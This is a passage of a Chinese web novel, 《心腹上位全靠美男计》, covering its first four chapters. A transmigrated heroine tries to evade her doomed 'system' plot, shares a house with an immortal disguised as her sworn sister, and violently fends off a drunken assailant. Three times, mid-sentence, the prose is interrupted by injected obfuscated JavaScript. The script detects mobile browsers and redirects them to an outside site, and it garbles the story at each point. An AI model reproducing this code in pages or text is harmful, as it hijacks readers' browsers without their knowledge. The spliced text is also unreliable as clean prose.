《心腹上位全靠美男计》 1. 第 1 章 “恭喜宿主,成功和本文男主见面。” 黎落正在给床上昏迷的男人包扎伤口时,脑海里忽然炸出这个声音。 她的手一松,男人的头便重重砸回了瓷枕上,发出一声沉闷的碰撞声。 黎落没顾得上管。 系统上一次出现,是一个月前。 父母被魔族残忍杀害,她藏在家里的地窖中,看着头顶缝隙中坠落的鲜血时,胸前的白玉蝴蝶坠子忽然亮了起来。 带着电流的声音告诉她: 她所在的世界是一本虐文言情小说《成魔》,男主是魔君封樾,她是书中被虐身虐心最后为男主挡刀惨死的女主。 那时她看着被血染红的天光,腹部和胸腔挤作一团,悲痛惊恐的情绪顿时变得无处安放。 因为系统说: “家破人亡,是虐文剧情开始的标配。你不要太伤心了,你真正的父母在现实世界,这俩只是炮灰角色。” 她已经穿书整整七年,却第一次知道自己只是被选中的“攻略者”,不该为书中角色伤心。 黎落一时茫然无措起来。 是啊,她在这个世界太久了,已经快要忘记,自己并不是这里的人了…… 可她为什么依然那么悲伤呢? 她究竟是现实世界的普通学生,还是书里的一个角色? 究竟谁有资格回答这个问题? 系统的声音把她的思绪拉回现实: “……虽然宿主您的行动路线略有偏移,但幸好还是在正确的时间点遇到了男主。” 黎落的目光落到了床上的男人脸上。 凤眼高鼻,长眉入鬓,薄唇紧抿着,昏迷中也一副风流倜傥的样子。 但她已经知道,这位魔君未来会将她挖心掏肺,和她上演无数次“她逃他追,她插翅难飞,他痛彻心扉”的虐文戏码。 她的手捏成拳头,微微抖动,像是思考着该从哪里下手。 系统警惕道:“宿主?” “……没事。” 黎落吸了一口气,控制着自己的情绪,将金创药一瓶瓶盖好放回去。 然后她转身出了房门,直奔冯月婵的房间。 冯月婵是冯府庶女,一出生就背上了克死嫡母的恶名,被送往郊外庄子养着。 不久前才回到冯府,还带着对自己有恩的结拜姐妹——也就是黎落。 此刻天色已晚,冯月婵白天被老夫人带去庙里上香,现在应该已经回来了。 黎落冲进去时,冯月婵正在坐桌边看书,侧脸沉静端庄。 烛火软化了她带着媚色的容貌,倒比平时显得更加清冷淡漠。 黎落一下子扑到了她身边: “冯姐姐,前两天你捡的那个男人,我今天帮你去看了。” 冯月婵看了一眼她拉着自己胳膊的手,神色微微凝固。 黎落全然不觉,只道: “我看着他应该是快死了,留在府里不免晦气,我们把他扔出去吧!” 按冯月婵以往的性格,就算不同意,也会考虑黎落的想法。 但今日冯月婵非但没有同意,反而神色漠然地将她的手挥落,转到另一边继续看书,连句话都不肯多说。 黎落跟着她绕到另一边,苦口婆心劝道: “我知道冯姐姐你心地善良,但我们把他藏在府里本来就危险,如果死了就更说不清了,不如趁着其他人没发现,提前把他处理了。” 她上手将冯月婵手里的书盖住: “冯姐姐,你平日不是最讨厌这本书吗?今天怎么看起这个了……你到底有没有在听我说话啊?” “冯月婵”动作一顿。 他倒是没有仔细打探冯月婵的喜好,随手从桌上取了本书装装样子,险些露了破绽。 黎落说的这个男人,应当是真正的冯月婵救下的,他并不知情,自然也不会擅做决定。 “冯月婵”将手里的书放下,垂眸道: “我……” 他声音有些迟疑,因为不太确定冯月婵本人的说话语气,故而带着点雌雄莫辨的沙哑。 黎落便以为她在外面偷偷哭过,关注点一下子跑偏,急得站了起来: “你怎么了?!是不是老夫人今天又欺负你了?!” 她看起来十分生气: “我就知道她没安好心!整天说你克这个克那个,你要是真能克死人,怎么还不去克死她那个老混蛋!” “冯月婵”打量着黎落。 她身形纤弱,肤色雪白,五官线条柔和细腻。 圆而微棕的眸子让她乍看之下显得温和而毫无攻击性,但眼底那分格外倔强的神色又给她平添了几分灵动,便没有乍一看那样怯生生的柔弱了。 ——尤其是中气十足地骂着“老混蛋”的时候。 “冯月婵”的目光从黎落脸上扫过,调整了声线,顺着她的话说道: “无妨,莫气。” 黎落被她的“忍让委屈”引得叹了口气,联想到自己被剧情控制着,兜兜转转竟还是遇见了魔君,不免悲从心来。 两河镇被魔族屠灭那天,她被父母藏在地窖中躲过一劫,又骤然得知了穿书的真相,浑浑噩噩之下,被魔族的云苍阁阁主抓到。 那阁主是个人族,却独自躲在云苍城中为魔族办事,时不时便抓几个无辜路人炼丹。 她和冯月婵倒霉,差点被熬成一锅炉渣。 后来若不是她…… 算了。 黎落揉了揉自己的脸。 多思无益,当务之急,是想办法把魔君弄走。 她打起精神,握住冯月婵的手,强调道: “我知道你舍不得,但这个人,真的很晦气。” 按系统所说:冯月婵对昏迷的魔君“一见钟情心生怜悯”,对醒着的魔君更是“芳心暗许非他不嫁”,不顾家规名节也要把人带回府照顾。 可那魔君封樾却是个实打实的负心汉,非但没有感激冯月婵的这份恩情,还害的她家破人亡,最后本人也被残忍杀害。 “冯月婵”被她握住的双手一僵,身上气息便有些冷了。 他不习惯和人这样亲近。 但此情此景下,只能加重黎落的担忧: “冯姐姐,你才见他一面,就这么喜欢他吗?” “冯月婵”顺势抽回自己的手,背过身去没有说话,看在黎落眼里便是默认。 她的心提了起来。 屋子里陷入了长久的沉默。 “冯月婵”,更准确的说,是段迟意,在这片刻的沉默里,思索着接下来的探查方向。 他的真实身份,是仙门首徒——段迟意。 世人大多不知道他的真名,仅以道号称呼,因着破妄剑唯一传人的身份,尊称他一声“珩亦仙君”。 两百年前,魔尊沧宿与他的师尊成胥道君一战,一死一伤后,仙魔两界便成稳定对立之势。 仙门最强战力成胥道君闭关,而魔尊沧宿魂飞魄散后,混沌之力也跟着消弭无踪。 纵使现在的魔君封樾野心再大,没了混沌之力,照样无法渡过魔神天劫,时刻提心吊胆。 而段迟意此刻借着“冯月婵”的身份进入冯府,便是为了调查魔尊沧宿的残魂下落。 之所以选中冯月婵,正是因为其性格懦弱低调,甚至被骂作“半个哑巴”,平时在冯府中无人在意,方便他探查魔魂踪迹。 可段迟意没想到,冯月婵唯一的朋友——黎落,竟会如此难缠。 “你到底喜欢他什么啊?是,没错,他长的是挺好看的,但不顶用啊?你是发善心把人救回来,可你知道他叫什么家在哪人品如何性格如何吗?你不知道。” 黎落话落,在心里补充了一句:“我太知道了,他人品是真不行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320414|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜她不能说实话,只能继续念叨: “男人得选知根知底的,不能光看脸,万一他是个银样镴枪头怎么办?这可是你一辈子的幸福……” 段迟意听不下去了,他起身走向床边。 他不想和黎落探讨“冯月婵”的私事,更不想讨论“选男人”的事情,只能选择熄灯睡觉,以求对方闭嘴走人。 黎落如他所愿走到了门口,但不是出去,而是锁门。 段迟意回头看时,对方已经将被褥从柜子里抱了出来,摆在他的床边: “正好,今晚我们一起睡吧。” 段迟意:“……” 他自是不能同意,站在床边没有动。 黎落看他一动不动,眼里带着疑惑: “冯姐姐,你今天好奇怪啊?以前你虽然不爱说话,但对我没有这么冷漠的。怎么你今天从庙里回来就开始……” 段迟意为了打断她的猜测,只得作罢。 他侧身一让,黎落立马熟门熟路地将被褥在床上铺好,三两下钻进了被子里,还朝床边拍了拍,大有一副“快上来吧,我们姐妹今夜畅聊通宵”的架势。 看她动作熟门熟路,应是经常和冯月婵夜聊,他不能拒绝。 段迟意无奈,只得坐到了床边。 但黎落又问:“你怎么穿着外衣上床?” 他于是脱掉外套。 幸好冯府是平州城富户,家里的床足够宽敞,他也已经变作了冯月婵的样貌,只消躺平睡觉,便可维持距离。 但黎落今夜留下来,显然不是为了“安稳睡觉”的。 两人刚躺好,她就抱着被子凑近他: “冯姐姐,你跟我说实话吧,那天在街上非要救他,是不是因为他长的好看?” 段迟意沉默。 他连那个男的长什么样都没见过,这让他怎么聊? 他朝床边退了退,避开黎落的靠近,在她虎视眈眈的凝视下憋出一个字: “……嗯。” 黎落一急,又凑近几分: “哈!你果然是看脸的!” 少女独有的香甜气息一下子扑了过来,段迟意呼吸一滞,急忙又朝外挪了几分,这下已然到了床边。 好在黎落没有继续靠近了。 她唉声叹气,裹着被子坐了起来,活像个愁眉苦脸的小老太,嘴里念叨着: “完了完了,一见钟情下一步就是非他不嫁,再下一步就是家破人亡,完了完了……” 段迟意静静地看着她絮叨。 渐渐的,他竟然从她这份旁若无人的碎碎念里感到一种难言的熟悉和安宁。 忽然,他察觉到一股极为阴邪的气息正在靠近此处。 下一秒,桌上的蜡烛骤然熄灭,屋子里顿时陷入了黑暗。 裹着被子坐在里面的黎落忽然短促地“啊”了一声。 段迟意面色一凌,正待出手将床顶那鬼除了,便察觉到黎落靠了过来,一把握住他的手。 柔软的触感贴在他冰凉的皮肤上,勾着他的指腹,隐约从皮下露出点韧性来,带起一串难言的战栗。 黎落用被子将他和自己罩在了一起,呈保护姿态,挡在了他和鬼的中间。 被子里小小的空间,香气满盈,谁也看不见谁。 她眼睛闭着,低低的声音在他耳边响起,安抚他道: “别害怕,只是个小鬼而已。” 实则,她握着他的手指逐渐变得冰凉发颤。 分明自己已经害怕至极。 段迟意在黑暗中看着黎落的惨白的脸,顿了两秒,没有将她的手甩开,而是反握住了她。 他声音沉沉的,像是平稳沉静的流水,带给人安心的力量: “嗯,你也别怕。” 剑气无形,带着凌冽寒意,在房顶游走一圈,围上来的恶鬼便被悉数斩杀殆尽。 2. 第 2 章 黎落闭着眼睛安静了许久,却没等到意料之中的惊吓。 她心下疑惑,依然保持着压在段迟意身上的动作,谨慎地拉开被子一角,探头朝外看去。 修士目力远胜凡人,段迟意保持着被压倒的姿态,在黑暗中将她的动作神态尽收眼底。 黎落的头发悬在半空,发梢带着淡淡的香甜气息,随着她探头的动作扫过段迟意的下颌。 痒痒的,仿佛无法落地的羽毛。 他的呼吸停滞了一瞬。 下一秒,那羽毛骤然被风卷走。 黎落一下子掀开了被子,看着空荡荡的屋子: “什么啊?竟然自己消失了?” 段迟意这才慢吞吞起身,将蜡烛点起来,状似不经意问道: “府中闹鬼,要去告诉长辈吗?” 黎落仍在检查床顶,闻言道: “说了没用啊,前天姐姐你受了惊吓,听雨去禀报的老夫人,隔天她就带你去上香了……” 黎落检查一番,没有看到任何鬼影,她便又坐了回去,一脸的不高兴: “上香有用的话,今晚怎么又有鬼了?” 段迟意没说话。 黎落忽然想起了什么似的,三两下挪到床边: “说起来,姐姐被吓着那晚,不就是救了那个男的那天嘛!” 她像是终于找到了突破点,见缝插针地吹“枕头风”: “我就说他晦气吧!指不定这些鬼都是他引来的!” 事实上封樾至今没有露出任何破绽,冯府的鬼也确实不是因为他。 段迟意举着烛台缓缓走近床边。 他将蜡烛放在两人中间,黎落写在脸上的谋划便一览无余地显露在烛光之下。 “怎么样?姐姐?” 黎落眨了眨眼睛,像只满肚子坏水的猫: “你觉得我说的有道理吗?” 段迟意静静看了她片刻,抬手熄灭了烛火。 然后在她因为猝不及防到来的黑暗而下意识朝被子里钻的同时,淡淡开口: “没有道理。” 黎落:“……” 陷入爱情的冯姐姐可真难骗啊。 一夜平静,心如止水。 黎落闻着身边的冷香,竟然破天荒睡了个好觉。 第二天一大早,冯老夫人身边的李嬷嬷就到了淑林院,不顾听雨的阻拦,长驱直入冯月婵的卧房。 段迟意已经穿戴齐整,坐在桌边喝茶。 这李嬷嬷长久板着脸吓唬人,两颊已经有了明显的怒纹,见到冯月婵后却扬起个生硬的笑容: “小姐,老夫人有请。” 黎落从屏风后探出头,她正在同自己衣服上的丝带做斗争。 女主在书里的家庭并不富庶,很少穿这样花哨的衣服,更不会用什么复杂的装饰。 来到冯府后,她的衣着用度皆是跟着冯月婵一起安置的,因此每天早上穿衣梳头便成了难题,总有些小儿学穿衣时的手忙脚乱。 她正为腰间的带子心烦,又听说老夫人要找冯月婵,一时心急,便给自己腰上打了个死结。 李嬷嬷斜眼看见她披头散发地从屏风后面跑出来,又一眼看到了黎落腰上的死结,脸上的笑意顿时荡然无存。 “黎姑娘,有句话老奴自知不当说,但也不得不说。” “姑娘与我家小姐有救命之恩,我冯府也并非知恩不报之辈,纵使姑娘出身乡野,照样将您视做贵客,吃穿用度和小姐并无二致。在外人看来,说您是我冯府二小姐也是有的。” 黎落:“……谢谢冯府。” 李嬷嬷眉头紧皱,显得脸上怒纹更加深刻: “姑娘也该学学大家闺秀的做派!如此疯癫仪态,如何……” 段迟意忽然开口,打断了她的话: “走吧。” 他音色低冷,莫名带着几分不容置疑的威慑,将李嬷嬷未出口的话悉数怼了回去。 李嬷嬷一时只觉得,今日的小姐似乎有些不同于往日的威严。 但她仔细又看,却发现冯月婵仍是一副寡言沉默的样子,倒也没什么不同的。 被这么一打断,她也不好继续在黎落身上废时间了。 想到老夫人的交待,李嬷嬷急匆匆引着人离开。 听雨是后头拨来伺候冯月婵的,与她二人并不相熟,又晓得冯月婵并不喜欢他们这些人的亲近,故而对黎落也不甚热切,一福身便匆匆跟着冯月婵走了。 黎落兀自与腰带斗争。 失败,最后在死结上面加了个撑场面的蝴蝶结。 系统提醒她:“宿主,您该去给男主上药了。” “上药?” 黎落反驳: “他一个魔君需要什么药啊,给他上药不是浪费药吗?他老老实实躺着不行吗?” 系统不赞同: “宿主,女主贴心照顾男主,是你们二人感情升温的关键因素。维护剧情进度是您的任务。” 黎落只好端着药瓶子去了柴房。 她一瓶瓶拔开药瓶的塞子,像拔掉男主的头。 床上躺着的人姿态扭曲,脖子歪在一个快要断裂的弧度,堪堪架在瓷枕上——是她昨天失手摔的,至今没有扶正。 后脑勺不自然肿起一块——被瓷枕砸的。 知道这人并不需要每天换药,黎落的手法便敷衍许多,连纱布都懒得揭开,直接把药粉朝对方那张桀骜张扬的脸上倒。 系统还没说话,黎落已经完成了“照顾男主”的作秀,起身准备离开。 自然垂落的腰带忽然绷直。 她步子一顿,发现自己的腰带被一只大手紧紧攥着,怎么都拽不出来。 背后传来一声调笑:“姑娘可真敷衍。” 声音低沉,尾音上扬,带着蛊惑人心的味道。 黎落缓缓回头,正对上一双上挑的凤眸。 封樾只着普通人族服饰,却依然有着狂傲睥睨的资本,饶有兴致地打量着面前这个样貌姣好的人族女子。 “本君……我昏迷的这段时间,是你照顾我?” 任谁被这张脸、这样的眼睛看着,都会忍不住心动。 除了黎落。 她知道自己没办法悄无声息地把这个人扔出冯府了。 见她没说话,也没被自己的容貌惊叹到,封樾眼底的意趣更深。 他坐起上半身,先是反射性地蹙眉——应该是拉扯到了后脑勺的包。 而后拉着黎落腰带的手朝内一带,便如愿看到黎落站立不稳,踉跄着靠近他几步。 黎落及时扶住床边稳住身形,才没一下子扑进对方怀里。 但两人的距离仍然十分接近。 封樾拨弄着黎落的腰带。 他的手指长而有力,细软的腰带被他指节缠绕把玩着,仿佛随时可以拧断的蒲草,却又显得暧昧色气。 魔君封樾,情场上的高手,却也是六界中的邪魔。 “看姑娘神情,似乎对我不满?” 他露出笑容,眼底却满是阴霾: “是我做错了什么吗?” 黎落感到寒毛竖起,这是动物遇到危险时的本能反应。 系统急忙提醒黎落: “他在怀疑你知道他的身份!快找个借口圆过去,不然他会杀了你的!” 封樾手上微微使力,黎落便再不能扒着床边站稳,一下子扑倒在床边。 一只手捏住了她的下巴,钳子一样挣脱不开,逼迫她扬起头,额头碎发朝两侧坠落,便将那张柔弱漂亮的脸完全暴露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320415|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 黎落急忙开口: “若不是姐姐非要救你,我才不用偷偷摸摸照顾你!还被嬷嬷责骂!” 她斜倚在床沿边缘,纤弱的身形展露无疑,看着封樾的目光满是惊讶,一双眼睛圆而清澈,像这世上最单纯无害的生物。 手下的皮肤细腻柔滑,如同上好的缎子,微微用力便留下了红印。 怎么看都只是一个普通人族,甚至还是人族里偏弱的那种。 听起来,是为“姐姐”帮忙受责罚而不满,并非是知道他的身份。 封樾不屑一笑,只道自己是被人暗算一遭,便开始变得疑神疑鬼了。 他手上松了力,语气敷衍: “抱歉,姑娘没伤着吧。” 黎落站起身,远离他几步,然后转身匆匆跑了出去。 她不能再继续看着魔君的脸了。 不然她会忍不住想到死去的父母,死去的两河镇百姓,她无法控制自己的表情,会被封樾怀疑,也会被系统发现。 然后她就会暴露,在她还十分弱小的时候。 黎落站在树下深吸了几口气,将胃里翻涌的情绪压了下去。 封樾没有跟出来。 系统说着什么“男主绝对对你感兴趣”,以及“他就喜欢你这样外表柔弱内心倔强但是又打不过他的女人,他喜欢征服”…… 黎落头疼欲裂,她将蝴蝶坠子盖在衣服下面,又将自己盖在被子里,强迫自己不去听也不去想,这样就不会有反胃的感觉。 但是她还是做梦了。 梦里她又回到了两河镇。 她其实特别害怕梦见两河镇,因为她总担心自己一睁眼,就看见父母的血顺着缝隙滴到她脸上。 但幸好梦里的这时候,魔族还没有来。 似乎是刚穿书不久,她还无法接受穿越离开爸妈的事实,一直不肯说话。 书里的爹娘拿了只有过年才会做的糖油果子和粗布娃娃给她,小心又期盼地从桌子后头看她。 她在现代的时候什么好吃的好玩的没见过,又怎么会喜欢这种又甜又腻的东西,更不会被一个针脚拙劣的粗布娃娃哄骗。 她没有伸手去接,那对儿夫妻的脸上便浮现了显而易见的失落和担忧,却也只是将东西放在她面前的桌子上,害怕大声说话吓到孩子…… 黎落在梦里咬紧了牙关。 她为什么不接呢? 她为什么不能伸手去接呢?! 她在梦里拼了命伸手,却怎么都够不到那碟糖油果子,够不到那个眼睛缝歪了的粗布娃娃。 它们都在桌子上看着她,像是在嘲笑她的幼稚和悔恨。 分明就在眼前,为什么怎么抓都是空的……为什么永远都够不着…… 可是她依然不敢收回手。 她怕自己一松手,爹娘就会把她强行塞进地窖里,用身体堵上入口。 然后她就只能一边仰头去看滴落的血,一边被迫听系统宣判她的身份角色…… 忽然的,黎落感觉自己终于抓住了什么东西。 冰冰凉凉的,不是那个手感粗糙的粗布娃娃…… 那就是糖油果子了! 她想也不想就塞进了嘴里,一口咬下—— “……” 牙齿咬破了皮肤,痛感瞬间袭来,段迟意下意识绷紧了胳膊,垂眸看向罪魁祸首。 黎落死死闭着眼睛,两手扒住他的胳膊,一边还咬着他的手不肯松口,活像是流浪猫见了鱼。 明明咬得他破皮冒血,偏偏咬人的家伙自己眼角还挂着泪珠,活像是别人欺负了她。 怪可怜的…… 段迟意看她片刻,没有强行抽回手,而是放松了肌肉,确保自己的手依然是柔软好咬的,以免将猫崽子的牙崩掉。 3. 第 3 章 “姐姐,对不起,你的手严重吗……” 黎落无比懊恼。 她没想到自己白天情急之下走错了屋子,不但躺在冯月婵的床上,还在梦里把人家的手咬得鲜血淋漓。 天知道她一睁眼,发现自己上方是“冯月婵”平静淡漠的凝视,嘴里是对方流血破皮的手,伤口还和她的牙印完美吻合…… 永远没人能知道那一瞬间她有多茫然无助。 好在,“冯月婵”十分体贴。 “她”什么也没说,甚至在她惊讶地张开嘴的同时还问了句: “不咬了?” 黎落急忙摆手:“不不不……” 她好想给自己一拳头。 此刻,“冯月婵”就和没事人一样,一边垂着眼冷静地给自己的伤口涂药,一边极其冷漠地拒绝她的帮助: “不必了,我怕你反悔。” “……” 黎落只好坐在一边看他。 段迟意对她的注视心知肚明。 这点小伤口对修士而言算不得什么。但他在假扮“冯月婵”,自然做戏做全套。 更重要的是,他每露出一次伤口,黎落就要看着那个牙印悄悄长叹一口气,实在是…… 太可爱了。 黎落再一次叹气的时候,段迟意终于大发慈悲,用纱布将伤口盖住,像是盖住了黎落那颗脆弱内疚的小心脏。 然后他问:“你梦到什么了?” 黎落不想说实话。 她看向一边的地面,声音闷闷的,一听就是在敷衍: “糖油果子。” 段迟意不置可否。 他自幼入仙门,早早辟谷修行,对这些凡间小吃的味道早已没了印象。 但看黎落死死咬住不肯松口的样子,应该……相当好吃。 他在心里默默记下。 坐在旁边的黎落忽然“嘶”了一声。 她一心烦就想揉脸,谁知刚碰到下巴,就感到一阵钝痛,仿佛真的有人在梦里给了她一拳头似的。 黎落第一反应就是去看段迟意。 对方掀起眼皮,淡淡回望她的怀疑。 虽然什么也没说,但黎落顿时觉得自己被控诉了。 那个眼神大概写着:“我好心好意让你咬,你居然翻脸不认人,还敢怀疑我打你,没良心的家伙”。 黎落收回怀疑的目光,反思自己是不是真的辜负了她和冯月婵出生入死的姐妹情。 段迟意将一张对折的纸放到她面前:“门口捡到,给你的。” 黎落疑惑地展开,一行肆意张狂的字迹映入眼帘: “多谢姑娘照拂,不慎扯开姑娘腰带,来日必偿。” “什么?!” 看到这一行字的瞬间,黎落只觉得一股火气从胸腔涌上脑门。 她下意识低头看自己的腰带,发现上面的蝴蝶结已经散开了,只剩下她早上打的死结。 段迟意的目光也跟着落在她腰带上。 黎落也不知道自己为什么要解释,但是她还是急忙喊道: “他在放屁!这个死结是我早上打的!我自己都解不开!” 段迟意:“我知道。” 他的目光从黎落下巴上明显是被人掐出的红痕上扫过: “是……我捡到的那个男人吗?” 不知怎的,他总觉得这指痕压在黎落皮肤上格外刺眼,仿佛澄澈的清水中混了油污似的。 但他又不能伸手擦去,只能默默移开视线。 黎落愤愤点头。 段迟意顿了顿,忽然说了句: “你说的有道理。” “我说的什么?” 黎落没反应过来。 段迟意垂下眸子,只道: “不过来不及扔了。他已经不在冯府了。” 黎落这才想起来,自己昨天说的“捡回来的男人晦气”、“扔出去”的话。 封樾已经不在冯府了? 黎落心下疑惑。 她同“冯月婵”告别,说要回自己屋子休息,实则是将系统抓出来问: “他怎么自己走了?” 系统:“按照剧情,男主来冯府是为了调查魔尊沧宿的残魂,现在离开……或许是有了别的线索?” 黎落:“魔尊的残魂?他不是魔君吗?哪来的魔尊?” 系统解释道: “魔尊沧宿是混沌之力的主人,距离渡过天劫、成为魔神,只差一步——催动混沌之力,可惜他没能成功。” “封樾虽是魔君,但没有混沌之力,终究不是真正的魔界至尊。” “自沧宿落败于仙门后,混沌之力已经消失了两百年。世人皆传,找到魔尊沧宿的残魂,就可以寻到混沌之力,渡过天劫,成为天道认可的魔神。” 停顿了一下,系统抛出个惊天秘密: “没人知道,混沌之力,其实在你身上。” 黎落倒水的动作一顿。 她脸上的神情称不上震惊,反倒有些堪称微妙的平静。 在被系统察觉到端倪之前,她已经迅速调整了语气,睁大眼睛好奇道: “哇,这是本书女主的金手指吗?” 系统便被她天真到傻气的问题逗笑: “宿主,您只是个人类,纵使拥有混沌之力,也是无法运用的……人族压不住那股力量。” 它的语气带着警告: “弱者怀璧,是祸非福。” “对你而言,一旦被人发现,不是被仙门所除,便是被恶者所杀。” 黎落看起来有点失望,她将手里的茶杯放下,看起来忧心忡忡: “那我有什么自保之力呢?混沌之力在我身上,魔气冲天,岂不是随时都会被人发现?说不定已经有修士盯上我了呢?” 系统:“这倒不用担心,混沌之力并非魔气邪物,乃是天地造化所创,说是个活物也不为过。便是强如沧宿,到死也没能彻底将其压制。” 它安慰黎落: “这样的东西根本不会轻易被人察觉。就连本书女主,也是为男主挡刀身死时才暴露。” 黎落“哇哦”了一声,举起茶杯。 氤氲的雾气挡住她的脸,只露出一双微微弯起的眼睛,像是书里描述的最“单纯幼稚”的傻白甜女主,语调轻松: “那真是太好了呢。” * 是夜。 系统能量不足陷入休眠,只说今夜有个关键剧情,叫她做好准备。 不知过了多久,翻来覆去睡不着的黎落忽然听见了窗户的响声。 “吱呀”一身,像是被人从外面推开。 她一下子睁开眼,但却不敢坐起来看。 游荡的鬼会直接出现在她的床顶,半夜来访却开窗户的,只能是人。 来人脚步虚浮,混着酒气,落地后先是安静了两秒,发现屋内一片漆黑后,便火急火燎朝着床边跑来。 被子拱出一个弧度,床帐内仍留着少女沐浴后的芳香。 一片漆黑中,那人急不可耐地扑到了拱起的被面上,手上又摸又拽,边用酒精麻痹的大舌头说些“小美人,叫小爷亲亲”之类的荤话。 床幔掀开的瞬间,露出来人一张被酒色浸染得混浊无神的脸。 冯见章。 冯府大公子,冯月婵的嫡出哥哥,吃喝嫖赌样样不落的纨绔。 冯见章今夜和一众狐朋狗友喝多了酒,席间谈起自己那个庶出的妹子。 “好看是好看,就是天天拉着脸,丧门星一样晦气。” 他由着好友对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320416|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家亲妹妹大放厥词,又想起来跟着冯月婵一起回来的,还有另一个国色天香的小美人儿。 一想到黎落的样貌声音,以及她刚跟着冯月婵到冯府时的懵懂神色,一双猫儿似的眼睛,微微睁圆时显得又清纯又无辜。 冯见章便感觉一股邪火从小腹冒出来。 顿时酒也不想喝了,劝酒的姑娘也不想搂了,只想赶紧回冯府,借着酒劲,也做一回“偷香窃玉”的“采花贼”。 他想的很美。 冯月婵虽然认了黎落当妹子,但后者住在冯府到底不清不楚,不如他将人娶了,放在房里当个美妾,倒也不负风流名声。 如今这么一遭,便算是提前享受了。 冯见章越想越激动,伸手就要扒开被子。 然而他摸了一通,被子里面却始终不声不响的,手感也有些不对劲。 窗户大开,微风掠过,床帐被风吹起了一角。 冯见章脑子里的酒精被这阵凉风吹散了几分,顿时觉得不妙。 他手下的被子里,哪儿有美人的身影,分明只是一个斜放的枕头。 一道冰冷、细长的东西就在这时贴近了他的脖子。 冯见章一惊,酒气彻底散了。 他意识到,那是一柄尾端长而尖细的簪子。 簪子的另一头握在黎落手中。 若是冯见章此时回头,便能看到她一双深棕色眸子被黑气弥漫,连一丝光点都无,和白日里那个言笑晏晏的模样截然不同,宛如索命的恶鬼。 “我可是冯家大少爷!你敢伤我?!” 冯见章急忙喊道。 身后的人没有出声,冯见章便只当对方被他的身份镇住了。 他就知道,没有女人能抵抗得了他家的钱。 作为冯家唯一的嫡子,冯府的钱和生意将来全是他的,只要摆出身份,贞洁烈女也能变成塌上玩物: “黎姑娘,在冯家住了这些日子,想必你也知道,冯府有的是钱,只要你跟了我,未来不说锦衣玉食,便是天上的星星我也给的起啊……” 黎落依旧没回话。 冯见章便当对方是在矜持。 小娘子嘛,脸皮薄,总要装一装贞烈,才好事后谈条件。 他见惯了这些女人的手段,此刻心中并不着恼,忍不住去摸黎落握着簪子的手: “这男女间的意趣儿,你还没见识过吧……何必动刀子呢?啊?” 他一个“啊”字尚未说完,忽然感觉脖子一凉。 血珠一连串冒了出来。 冯见章茫然抬手摸自己的脖子,竟然摸到了满手的血,顿时两眼一翻晕了过去。 黎落的眼睛依然没有光彩,握住簪子的手停在他喉咙上方,仿佛两股力量在做对抗。 现在还不能杀…… 她还得留在冯府…… 这样过了一会儿,像是终于找到了折中的办法。 簪子重重下落,冯见章的裤子上染上一大片鲜红,他本人则瞬间被痛醒后又痛晕过去,脸色比死人还要苍白。 心底的那股怨气和恨意总算压了下去,黎落的眼睛渐渐恢复正常。 她顾不得处理现场,急忙跑出屋子,腹腔内脏搅做一团,张口便呕出一大口鲜血。 人族的身体无法承担这股力量。 眼前开始发黑,她快要撑不住了。 黎落茫然抬起头,目之所及一片漆黑,她只能凭着感觉敲响冯月婵的房门。 片刻后,“冯月婵”打开了门。 听到开门声音的同时,黎落彻底坚持不住,一头栽倒下去。 段迟意及时将她揽住。 见到冯月婵就好了…… 黎落心想。 她见过自己这样,不会太过惊慌,也许还会帮她。 4. 第 4 章 黎落感觉有人扶住她,将她放在床上,又仔细帮她擦去了脸上的血。 她知道那是冯月婵。 对方做完这一切,似乎离开了一会儿。 身边骤然安静下来,这世上仿佛又只剩她一个人。 黎落在昏迷中捏紧了拳头。 这世上从来都只剩她一个人…… 她曾经努力融入,学着适应,渐渐习惯,最后却又因为突然出现的系统而被迫分隔了出去。 剧情,女主,魔族,死亡…… 血流到脸上,滑到脖子上,溅到袖口,坠落地上…… 事到如今,她要怎么回家?她要怎么才能若无其事地回家?! 心肝肺痛得搅成一团,已经分不清是因为遭受了力量反噬,还是因为别的。 她只想躲起来,躲到没人的地方。 可黑暗太长,太重,压的她喘不过气。 不知过了多久,去而复返的人又走了回来。 察觉到她的不舒服,对方微微俯下身来,抬手探了探她额头的温度。 骤然靠近的冷香冲散了她身边的血腥气息,凉凉的触感自额头传来,缓解了她的焦躁不安,却停留不过片刻又要离开。 黎落心里忽然十分委屈,于是她抬起胳膊,一把抱住了那个人。 段迟意浑身一僵,脖子被黎落死死圈着,对方还将脸放在他的颈窝中蹭了蹭…… 光滑柔软的,温暖偏烫的,带着甜香的…… 他呼吸一滞,站起身子就要将人甩开。 